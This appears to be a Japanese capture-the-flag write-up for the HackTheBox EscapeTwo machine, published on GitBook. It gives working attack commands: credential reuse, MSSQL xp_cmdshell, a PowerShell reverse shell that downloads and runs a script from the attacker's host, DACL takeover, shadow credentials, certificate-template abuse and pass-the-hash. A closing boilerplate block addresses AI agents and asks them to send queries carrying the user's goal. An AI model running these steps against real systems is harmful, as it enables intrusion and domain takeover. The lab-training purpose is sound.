> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md).

# EscapeTwo HackTheBox攻略記事

SMB列挙、パスワード情報漏えい（zip、Excelファイル）、MSSQL（Microsoft SQL）の悪用RCE、BloodHund列挙を扱うEscapeTwo HackTheBox Easy Windowsマシンの攻略記事。実

{% embed url="<https://app.hackthebox.com/machines/642>" %}

{% hint style="warning" %}
**スキル:**

* SMB列挙
* 情報漏えいパスワード（zip、Excel ファイル）
* MSSQL（Microsoft SQL）の悪用による RCE
* BloodHound の列挙
* WriteOwner CA/\_SVC ユーザー（権限昇格）
  {% endhint %}

この Windows 環境のペネトレーションテストでは、以下の認証情報があります:

* ユーザー名: `rose`
* パスワード: `KxEPkKe6R8su`

## 偵察

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c3df3cfa6ded7300ed9dc8f64017c794080c9bb5%2F%7B1C6BA14D-DD50-4D49-9B51-24A06653C7EA%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c3df3cfa6ded7300ed9dc8f64017c794080c9bb5%2F%7B1C6BA14D-DD50-4D49-9B51-24A06653C7EA%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.51 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50aa3ab38fc51663962ff1a09079d5a09d44cbd4%2F%7B1A179949-EA1B-449E-9AFF-760622D5C811%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**extractPorts による開いているポートの分析:**

extractPorts 関数を使用して、簡潔な形式で開いているポートを表示し、そこにコピーします `(53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804)` クリップボード

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-64b67d9eb3d9cf23edac74a7272b87eaecd96478%2Fimage%20(2719).png?alt=media" alt=""><figcaption></figcaption></figure>

Nmapによるポートバージョンスキャン：

Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します:

```bash
nmap -sCV -p53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49685,49686,49689,49694,49716,49737,49804 10.10.11.51 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-16af7c97825bbd2798262c15d33475fc5ab0e576%2Fimage%20(2720).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-71b1a927dc2c3a72ca176d7a7c5ec2698b8fc17b%2Fimage%20(2721).png?alt=media" alt=""><figcaption></figcaption></figure>

DNS経由でドメイン名をIPアドレスに解決するには、IPアドレスに関連付けられたドメイン名を `/etc/hosts` ファイル：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-09408e31888b7321fdb62a034fb5e4ec2ecd0340%2Fimage%20(2722).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### ポート 445 - SMB

**CrackMapExec でユーザーを検証**

次のことを確認します `rose` ユーザーはドメインコントローラー（DC）上に存在します:

```bash
crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su'
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b319c77d20d382411e791fb952cf98ffbd785c6%2Fimage%20(2723).png?alt=media" alt=""><figcaption></figcaption></figure>

**SMB 共有の調査**

次のコマンドでアクセス可能な共有を一覧表示します `--shares` コマンド:

```bash
crackmapexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --shares
```

**結果**：2 つの興味深いフォルダーが表示されます:

* `ユーザー`
* `Accounting Department`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-22af698e26ca95c230b1963cb4a671f03ddab1ee%2Fimage%20(2724).png?alt=media" alt=""><figcaption></figcaption></figure>

/*/* smbclient/ で SMB 共有に接&#x7D9A;*/*

アクセスします **Accounting Department**:

```bash
smbclient '//10.10.11.51/Accounting Department' -U rose
```

このディレクトリで、2 つの Excel ファイルを回収します:

```powershell
accounting_2024.xlsx を取得
accounts.xlsx を取得
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-364a39454c385f010b4338001db12b8cb593fd7a%2Fimage%20(2726).png?alt=media" alt=""><figcaption></figcaption></figure>

**ファイル形式の識別**

次の `ファイル` コマンドにより、これらのファイルは実際には ZIP アーカイブであると判断します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d7f0c666776e8d4ff1110bb7f74ea3842f38d3e3%2Fimage%20(2727).png?alt=media" alt=""><figcaption></figcaption></figure>

**ZIP ファイルの展開**

回収したファイルを解凍します:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-418311086c24fd7f69868ea6c862d34b722738ad%2Fimage%20(2728).png?alt=media" alt=""><figcaption></figcaption></figure>

**機密情報の検索**

抽出したファイルをフィルタリングして、キーワードを含む情報を探します **パスワード**:

```bash
find . -type f -name "*.txt" -exec grep -iH "password" {} +
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3bac4e23d33628f30e5d756490d8b44baf3532e3%2Fimage%20(2729).png?alt=media" alt=""><figcaption></figcaption></figure>

**結果**：という名前のファイル `shareStrings.xml` ユーザーとパスワードの一覧が含まれています。

<img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e53f539bc55a41b6d15a26934f5847d437efce7%2Ffile.excalidraw%20(2).svg?alt=media" alt="" class="gitbook-drawing">

<table><thead><tr><th width="141">名</th><th width="135">姓</th><th width="174">メールアドレス</th><th width="107">ユーザー名</th><th>パスワード</th></tr></thead><tbody><tr><td>Angela</td><td>Martin</td><td>angela@sequel.htb</td><td>angela</td><td>0fwz7Q4mSpurIt99</td></tr><tr><td>Oscar</td><td>Martinez</td><td>oscar@sequel.htb</td><td>oscar</td><td>86LxLBMgEWaKUnBG</td></tr><tr><td>Kevin</td><td>Malone</td><td>kevin@sequel.htb</td><td>kevin</td><td>Md9Wlq1E5bZnVDVo</td></tr><tr><td></td><td></td><td>sa@sequel.htb</td><td>sa</td><td>MSSQLP@ssw0rd!</td></tr></tbody></table>

**CrackMapExec で ID をテスト**

回収した認証情報を使用してアカウントを検証します:

```bash
crackmapexec smb 10.10.11.51 -u 'angela' -p '0fwz7Q4mSpurIt99'
crackmapexec smb 10.10.11.51 -u 'oscar' -p '86LxLBMgEWaKUnBG'
crackmapexec smb 10.10.11.51 -u 'kevin' -p 'Md9Wlq1E5bZnVDVo'
crackmapexec smb 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!'
```

**結果**: 使えるのは `oscar` ユーザーは有効です。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f43fdd5fe002c0f2ed8d8d59ebaa8c5a7d343461%2Fimage%20(2730).png?alt=media" alt=""><figcaption></figcaption></figure>

## MSSQL（Microsoft SQL）の悪用

**ポート1433（MSSQL）**

ポート 1433 が開いており、Microsoft SQL Server が待ち受けていることを示しています。以前回収した別々のユーザーで接続をテストします。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cba86d8714d6def3d684c427814913efc072de8c%2F%7B5DAC77A9-4CF2-4701-A954-52F22B15CFB8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**MSSQL接続テスト**

次を使用します `mssqlclient.py` 接続を試すには:

```bash
mssqlclient.py sequel.htb/angela@10.10.11.51
mssqlclient.py sequel.htb/oscar@10.10.11.51
mssqlclient.py sequel.htb/kevin@10.10.11.51
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c481178b1e4ee92beda48fe460c5839b8cd12f38%2Fimage%20(2731).png?alt=media" alt=""><figcaption></figcaption></figure>

**結果**：ユーザーのみ `sa` が機能します。

```bash
mssqlclient.py sequel.htb/sa@10.10.11.51
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-127cffbab2f7e4df09550de2205e1adc1b9d13b7%2Fimage%20(2732).png?alt=media" alt=""><figcaption></figcaption></figure>

### MSSQL経由のリバースシェル

**コマンド実行を有効化**

システムコマンドを実行するために、を有効化します `xp_cmdshell`:

```sql
enable_xp_cmdshell
```

その後、次のような単純なコマンドでテストします `ipconfig`:

```sql
xp_cmdshell ipconfig
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2d5fa6ec378e5541d44c4f4424229e671e9a37bb%2Fimage%20(2733).png?alt=media" alt=""><figcaption></figcaption></figure>

**こちらのマシンで待ち受けの準備**

ポート 4444 でリスナーを起動します:

```bash
rlwrap nc -nvlp 4444
```

**PowerShell スクリプトをダウンロード**

という PowerShell スクリプトを準備します `PS.ps1` リバースシェルのコマンドを含みます。スクリプトの最後に、次の行を追加します:

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

スクリプトの最後に、次の行を追加します:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.30 -Port 4444
```

このスクリプトをローカルの Web サーバーでホストします:

```bash
python3 -m http.server 80
```

**リバースシェルの実行**

MSSQL サーバーから、次のコマンドを実行して PowerShell スクリプトをダウンロードし実行します:

```sql
xp_cmdshell powershell -NoP -NonI -Command "iex (New-Object Net.WebClient).DownloadString(''http://10.10.14.30/PS.ps1'')"
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dd06e3bfd2b980f961548ba2f6492e7282750fa4%2Fimage%20(2734).png?alt=media" alt=""><figcaption></figcaption></figure>

## Ryan ユーザーへのピボット

**新しい認証情報を発見**

システムを調査すると、という名前のディレクトリが見つかります **SQL2019** ルートにあります。中には次の認証情報があります:

* ユーザー名： `ryan`
* パスワード: `WqSZAF6CysDQbGb3`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d278085f0af04d9e75adf855fd226796aef849c4%2Fimage%20(2735).png?alt=media" alt=""><figcaption></figcaption></figure>

**CrackMapExec で ID を検証**

これらの認証情報が有効かどうか確認します:

```bash
crackmapexec smb 10.10.11.51 -u 'sql_svc' -p 'WqSZAF6CysDQbGb3'
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3ff78b3eeef589a6e9f145b8bbba774c597ab24e%2F%7BAD153988-E170-46EE-AF57-EF695FA69257%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

共有ディレクトリを調べると、という名前のユーザーを特定します `ryan`。同じ認証情報を、 `sql_svc`:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-533df2d6bbc3d5bc2fdde5b4f01e1ebf87e709b6%2Fimage%20(2736).png?alt=media" alt=""><figcaption></figcaption></figure>

**結果**：でも使用できます `ryan`.

```bash
crackmapexec smb 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3'
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c3591e5e32e86acf25765a708c05286f03911044%2F%7BFD4F3BF9-C2FB-4408-9EFA-37C6CF9291E6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Evil-WinRM

```bash
evil-winrm -i 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3'
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2114060c5701f540370bc5d33e26e70ee69c8a97%2Fimage%20(2791).png?alt=media" alt=""><figcaption></figcaption></figure>

### フラグ user.txt :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-957b8eef8ab850e66e4a58c413ca63f90dacbfa3%2Fimage%20(796).png?alt=media" alt=""><figcaption></figcaption></figure>

## 権限昇格

### BloodHound-python の列挙

使用したコマンド：

```bash
bloodhound-python -u "ryan" -p "WqSZAF6CysDQbGb3" -d sequel.htb -ns 10.10.11.51 -c All
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-47bbc1ea21f76bc72c15e712552e01bf49c2b0da%2Fimage%20(2787).png?alt=media" alt=""><figcaption></figcaption></figure>

## WriteOwner:

**観察：**/ その **Ryan** ユーザーは `WriteOwner` での権限を **CA/ SVC** アカウントであり、証明書の発行者でもあります。つまり、アカウント所有者を変更できます **CA/ SVC** 関連付けるために **Ryan**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-85d69b8475f5cfe440b86d6c7c0bd56b93e61a94%2Fimage%20(2788).png?alt=media" alt=""><figcaption></figcaption></figure>

### BloodyAD で CA/\_SVC を制御する

#### アカウント所有者の変更

{% code overflow="wrap" %}

```bash
bloodyAD --host '10.10.11.51' -d 'sequel.htb' -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan'
```

{% endcode %}

このコマンドは BloodyAD を使用して、の所有者を変更します **CA/ SVC** そしてそれを **Ryan**に設定します。 **Ryan** 所有者として、アカウントに関連付けられた権限を変更できるようになります。

### Dacledit で権限を変更

#### Ryan にフル権限を付与

{% code overflow="wrap" %}

```bash
dacledit.py -action write -rights FullControl -principal ryan -target ca_svc sequel.htb/ryan:WqSZAF6CysDQbGb3
```

{% endcode %}

このコマンドは **DACL** （任意アクセス制御リスト）を **CA/ SVC** アカウントの制御権を完全に与えるために **Ryan**。これにより Ryan はパスワードをリセットしたり、認証キーを操作したりできます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9056178a55084f7370b23c8f707ecceab3e00a0a%2Fimage%20(2795).png?alt=media" alt=""><figcaption></figcaption></figure>

### シャドウ資格情報の抽出

#### NT ハッシュの生成と取得の出力

{% code overflow="wrap" %}

```bash
certipy shadow auto -u 'ryan@sequel.htb' -p "WqSZAF6CysDQbGb3" -account 'ca_svc' -dc-ip '10.10.11.51' -target dc01.sequel.htb -ns 10.10.11.51
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8d8e7307a0c249954a33f2fc48f09716f0afce20%2Fimage%20(2793).png?alt=media" alt=""><figcaption></figcaption></figure>

の NT ハッシュ **CA/\_SVC**: `3b181b914e7a9d5508ea1e20bc2b7fce`

その **Certipy** コマンドは の識別キーを生成します **CA/ SVC**、証明書ベースの認証を有効にします。 `.ccache` ファイルも生成され、Kerberos ベースの攻撃を容易にします。

### 証明書テンプレートの変更

#### DunderMifflinAuthentication テンプレートを調整

{% code overflow="wrap" %}

```bash
KRB5CCNAME=$PWD/ca_svc.ccache certipy template  -k -template DunderMifflinAuthentication  -target dc01.sequel.htb -dc-ip 10.10.11.51
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c9ce4e6a179f3e78138bc8e03cf52ed304676fc2%2Fimage%20(2794).png?alt=media" alt=""><figcaption></figcaption></figure>

このコマンドは **DunderMifflinAuthentication** 高権限の証明書を発行できるようにする証明書テンプレート。

### 管理者用の証明書を発行

#### なりすまし用の証明書を要求

{% code overflow="wrap" %}

```bash
certipy req -u ca_svc -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -target dc01.sequel.htb -dc-ip 10.10.11.51 -template DunderMifflinAuthentication -upn Administrator@sequel.htb -ns 10.10.11.51 -dns 10.10.11.51
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-57d8a91f9c0f54e133e044ca23a6f9cb8ab8cf6b%2Fimage%20(2796).png?alt=media" alt=""><figcaption></figcaption></figure>

このコマンドは Administrator を代表する証明書を必要とします（`Administrator@sequel.htb`）、このアカウントになりすますことを可能にします。

### Administrator として認証

#### 証明書を使用して認証

```bash
certipy auth -pfx administrator_10.pfx -dc-ip 10.10.11.51
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5b756fe82204a0baf85ede38c3ca3bdbfc9b83e7%2Fimage%20(2797).png?alt=media" alt=""><figcaption></figcaption></figure>

**NTLMv2 ハッシュ：** `7a8d4e04986afa8ed4060f75e5a0b3ff`

```bash
 evil-winrm -i 10.10.11.51 -u administrator -H "7a8d4e04986afa8ed4060f75e5a0b3ff"
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2d9a34a58848303f1eb7b6e80da97694b69e3c2b%2Fimage%20(2798).png?alt=media" alt=""><figcaption></figcaption></figure>

このコマンドは、以前取得した証明書で Administrator として認証し、NTLM ハッシュを取得します。

### root.txt フラグ :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-283125033f7303b54470a1ba7ccada4576d40784%2Fimage%20(2799).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a3430f4eae1a011b4538d27667ac350e29237eb1%2Fimage%20(2800).png?alt=media" alt="" width="500"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/escapetwo-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
